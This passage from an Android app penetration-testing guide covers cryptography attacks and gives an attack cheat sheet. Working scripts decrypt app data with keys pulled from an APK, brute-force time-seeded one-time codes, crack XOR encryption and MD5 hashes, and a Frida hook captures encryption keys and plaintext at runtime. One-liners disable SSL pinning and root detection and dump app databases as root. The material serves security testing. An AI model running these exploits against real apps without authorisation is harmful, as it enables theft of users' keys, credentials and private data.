grep -rn "getInstance.*DES\b\|DES/\|3DES\|DESede" java_out/ # DES = broken!
grep -rn "getInstance.*RC4\|getInstance.*RC2" java_out/ # RC4 = broken!
grep -rn "getInstance.*MD5\|MD5\b" java_out/ # MD5 = broken!
grep -rn "getInstance.*SHA1\b\|\"SHA-1\"" java_out/ # SHA1 = weak!
grep -rn "SecretKeySpec\|IvParameterSpec" java_out/ # find key/IV setup
grep -rn "new Random\b\|Math.random" java_out/ # NOT SecureRandom!
grep -rn "getBytes.*key\|\"key\"\|\"secret\"" java_out/ # hardcoded keys!
11.2 Common Crypto Vulnerabilities & Exploitation
# ─── Exploit 1: Hardcoded AES ECB key ───
from Crypto.Cipher import AES
import base64
key = b"HardcodedKey1234" # extracted from APK
ct = base64.b64decode("ENCRYPTED_DATA_FROM_APP_OR_DB")
cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(ct)
print("[DECRYPTED]", pt.strip(b'\x00'))
# ─── Exploit 2: Static IV with AES CBC ───
key = b"1234567890123456" # from APK
iv = b"0000000000000000" # static IV from code
ct = base64.b64decode("CIPHERTEXT")
from Crypto.Util.Padding import unpad
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16)
print("[DECRYPTED]", pt)
# ─── Exploit 3: Weak Random seed ───
# App uses: new Random(System.currentTimeMillis())
# → Predictable! Brute-force timestamp window:
import random
import time
target_time_ms = 1704067200000 # approximate time token was generated
for offset in range(-1000, 1000): # ±1 second
seed = target_time_ms + offset
r = random.Random(seed)
token = r.randint(100000, 999999) # 6-digit OTP
print(f"seed={seed} token={token}")
# ─── Exploit 4: MD5 password hashing ───
# Found in DB: MD5 hash "5f4dcc3b5aa765d61d8327deb882cf99"
# hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -O
# john --format=raw-md5 --wordlist=rockyou.txt hash.txt
11.3 Custom XOR Encryption Cracking
# App uses XOR "encryption":
# encrypted[i] = plaintext[i] XOR key[i % len(key)]
# If you know part of the plaintext (known-plaintext attack):
def crack_xor(ciphertext: bytes, known_plaintext: bytes, key_len: int) -> bytes:
key = bytearray(key_len)
for i in range(min(len(known_plaintext), len(ciphertext))):
key[i % key_len] = ciphertext[i] ^ known_plaintext[i]
return bytes(key)
# Example: JWT always starts with "eyJ" (base64 of '{"')
import base64
ciphertext = bytes.fromhex("DEADBEEF...") # from app
known_start = b'eyJ' # known JWT prefix
key = crack_xor(ciphertext, known_start, 16)
print("[XOR KEY]", key.hex())
# Decrypt full ciphertext with recovered key
def xor_decrypt(ct: bytes, key: bytes) -> bytes:
return bytes(ct[i] ^ key[i % len(key)] for i in range(len(ct)))
plaintext = xor_decrypt(ciphertext, key)
print("[DECRYPTED]", plaintext)
11.4 Frida: Extract Crypto Keys at Runtime
// Hook crypto operations → capture keys and plaintext at decrypt time
Java.perform(function() {
var Cipher = Java.use("javax.crypto.Cipher");
// Hook doFinal (actual encryption/decryption)
Cipher.doFinal.overload("[B").implementation = function(input) {
var result = this.doFinal(input);
var algorithm = this.getAlgorithm();
console.log("[CRYPTO] Algorithm: " + algorithm);
// Log input (plaintext or ciphertext)
console.log("[CRYPTO] Input: " +
Java.use("android.util.Base64")
.encodeToString(input, 0));
console.log("[CRYPTO] Output: " +
Java.use("android.util.Base64")
.encodeToString(result, 0));
return result;
};
// Hook SecretKeySpec → capture the actual key bytes!
var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
SecretKeySpec.$init.overload("[B", "java.lang.String").implementation =
function(keyBytes, algorithm) {
console.log("[KEY] Algorithm: " + algorithm);
console.log("[KEY] Key (hex): " +
Array.from(keyBytes).map(b =>
('0' + (b & 0xFF).toString(16)).slice(-2)).join(''));
return this.$init(keyBytes, algorithm);
};
// Hook IvParameterSpec → capture IV
var IvParameterSpec = Java.use("javax.crypto.spec.IvParameterSpec");
IvParameterSpec.$init.overload("[B").implementation = function(iv) {
console.log("[IV] " + Array.from(iv).map(b =>
('0' + (b & 0xFF).toString(16)).slice(-2)).join(''));
return this.$init(iv);
};
});
12. Attack Cheat Sheet
OWASP Mobile Top 10 — Quick Attack Reference
M1 Improper Credential Usage
Find: grep -rni "api.key|password\s*=" java_out/
Tool: jadx-gui → search "password", apkleaks -f app.apk
Exploit: Firebase API abuse, AWS SDK, replay token
M2 Supply Chain
Find: apkid app.apk → identify SDKs
Tool: MobSF → Libraries section
Exploit: Repackage with backdoor, exploit known SDK CVE
M3 Insecure Auth/Authorization
Find: grep -rni "isLoggedIn|checkRole" java_out/
Tool: Drozer → attacksurface; Frida → bypass hooks
Exploit: adb am start -n pkg/.AdminActivity
M4 Input Validation
Find: dz> scanner.provider.injection -a pkg
Tool: Drozer, Burp (API injection)
Exploit: SQL injection via content provider, XSS in WebView
M5 Insecure Communication
Find: grep -rn "http://|handler.proceed" java_out/
Tool: Burp + objection sslpinning disable
Exploit: MITM → credential theft, session hijack
M6 Privacy Controls
Find: grep -rn "getDeviceId|getLocation" java_out/
Tool: Frida → hook analytics; logcat PII scan
Exploit: PII exfiltration via analytics SDK
M7 Binary Protections
Find: apkid (no obfuscation detected)
Tool: jadx-gui (reads full source), apktool (repackage)
Exploit: Decompile → steal logic/keys; repackage + trojanize
M8 Security Misconfiguration
Find: grep "debuggable|exported|cleartext" AndroidManifest.xml
Tool: MobSF manifest analysis, Drozer
Exploit: Launch exported components, Firebase rule abuse
M9 Insecure Data Storage
Find: adb shell "su -c 'cat /data/data/pkg/shared_prefs/*.xml'"
Tool: Objection → android preferences get --all
Exploit: SQLite dump, SharedPrefs read, external storage pull
M10 Insufficient Cryptography
Find: grep -rn "AES.ECB|DES\b|MD5\b|new Random" java_out/
Tool: Frida → Cipher.doFinal hook → capture keys + plaintext
Exploit: Decrypt with extracted key, crack MD5/SHA1 hashes
One-Line Attack Commands
# Static sweep (30 seconds)
apkid app.apk && apkleaks -f app.apk -v
# Manifest quick check
apktool d app.apk -o out/ -q && \
grep -E "debuggable|allowBackup|cleartext|exported|SYSTEM_ALERT" \
out/AndroidManifest.xml
# Credential hunt
grep -rniE "api.key|password\s*=|secret\s*=|token\s*=" java_out/ | head -20
# Component attack
drozer console connect --command "run app.package.attacksurface com.target.app"
# Runtime bypass (SSL + root)
objection -g com.target.app explore --startup-command \
"android sslpinning disable; android root disable"
# Storage dump
adb shell "su -c 'find /data/data/com.target.app/ -name \"*.db\" | \
xargs -I{} sqlite3 {} \".dump\"'"
# Crypto hook
frida -U -f com.target.app --no-pause -l crypto_monitor.js
Severity Scoring Guide
Finding CVSS Priority
──────────────────────────────────────────────────────────────────
Hardcoded AWS/Firebase keys 9.8 P1 - CRITICAL
Cleartext password storage 9.1 P1 - CRITICAL
Unauthenticated exported activity 8.8 P1 - CRITICAL
IDOR on financial data 8.6 P1 - CRITICAL
No SSL / SSL bypass accepted 8.1 P1 - CRITICAL
JWT with weak secret 7.5 P2 - HIGH
SQLi in content provider 7.5 P2 - HIGH
AES/ECB with hardcoded key 7.3 P2 - HIGH
PII in logcat 6.5 P2 - HIGH
allowBackup=true 5.9 P3 - MEDIUM
Weak MD5 password hashing 5.7 P3 - MEDIUM
android:debuggable=true 5.5 P3 - MEDIUM
Sensitive data in cache 4.3 P4 - LOW
No certificate pinning 4.0 P4 - LOW